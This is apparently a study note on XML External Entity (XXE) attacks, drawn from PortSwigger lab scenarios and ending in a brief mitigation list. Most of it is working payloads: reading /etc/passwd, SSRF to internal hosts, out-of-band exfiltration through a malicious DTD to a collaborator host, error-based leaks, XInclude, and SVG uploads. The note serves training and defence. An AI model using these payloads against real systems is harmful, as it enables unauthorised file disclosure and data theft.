Description

Some applications use the XML format to transmit data between the browser and the server
XML: Extensible Markup Language, commonly used for data representation and transfer.
External Entity: A reference within the XML document to an external resource, which can be a file, URL, or another data source

Impact

use external entities to →
It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.
TTypes of XXE attacks:
1- Exploiting XXE to retrieve files
2- Exploiting XXE to perform SSRF attacks
3- Exploiting blind XXE to exfiltrate data out-of-band
4- Exploiting blind XXE to retrieve data via error messages

Portswigger Scenarios

Tip : “GET request for XML not found” changes the request to POST with XXE payload
1- retrieve the /etc/passwdfile

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

2- XXE to SSRF

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>`

3- Blind XXE with out-of-band interaction

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fee [ <!ENTITY xxe SYSTEM "http://burp-collab"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

4- Exploiting blind XXE to exfiltrate data using a malicious external DTD with (BURP-COLLABORATOR)

in malicious DTD file:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;

in Request:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploi.lab_id.exploit-server.net/exploit"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

5- Exploiting blind XXE to retrieve data via error messages
in malicious DTD file:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

in Request:

<!DOCTYPE foo [<!ENTITY % [xxe](https://portswigger.net/web-security/xxe) SYSTEM "YOUR-DTD-URL"> %xxe;]>

6- using local DTD

1- find DTD file already exists on server , we use this list https://github.com/GoSecure/dtd-finder/tree/master/list
with intruder in tis Request

2- use this code
https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

7- XInclude attacks

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

8- Exploiting XXE via image file upload

SVG image with the following content:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

mitigation

• Disable External Entities: Configure the XML parser to disable the resolution of external entities.
• Use Safe Parsers: Utilize XML parsers that are known to be secure against XXE attacks.
• Input Validation: Validate and sanitize all user inputs, especially XML data, to ensure it doesn’t contain malicious content.

Reference 4 all exploits [https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity]